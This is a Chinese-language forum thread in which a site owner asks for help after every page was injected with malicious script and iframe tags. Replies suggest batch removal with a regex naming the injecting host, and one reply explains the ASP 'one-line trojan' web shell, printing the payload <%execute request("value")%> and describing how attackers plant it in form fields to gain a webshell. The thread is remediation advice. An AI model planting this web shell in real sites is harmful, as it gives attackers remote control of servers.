十万火急 在线等待！ 网也被<script></script>和<iframe></ifame>挂木马！！！

Question

服务器被注入有很多种可能 
看看以前讨论的帖子
http://topic.csdn.net/u/20080926/09/66cafa17-06ae-4071-960b-4377d72081ce.html

Answer 1

要想清除  最好的办法是什么？使用EasySR(search and replace)進行批量清除：http://topic.csdn.net/u/20081021/14/78a19ee3-d921-49dd-8b90-68af8e1ebf3e.htmlSearch:<(\w+)\b.*src=http://aaa.a5mm.com/tj.js>\s*<\/\1>

Answer 2

呵呵，以前的有2个帖，你好好看吧一个帖子是浅析ASP上传漏洞
一个是浅析SQL注入漏洞

Answer 3

我用了 批量删除的工具  一次删除7000多个  几乎是所有的页面 包括.html .htm .js. asp .css  全部都被挂上了 晕死了。 换完了马上又挂上了  还经常变换内容 ！！！   应该是病毒没找到！ 

Answer 4

是因为有些用了一句话木马来进你的网站挂马！
    在注册信息的电子邮箱或者个人主页等中插入类似如下代码：
　　<%execute request("value")%>
　　当知道了数据库的URL，就可以利用本地一张网页进行连接得到Webshell。（不知道数据库也可以，只要知道<%eval request("value")%>这个文件被插入到哪一个ASP文件里面就可以了。）
　　这就被称为一句话木马，它是基于B/S结构的。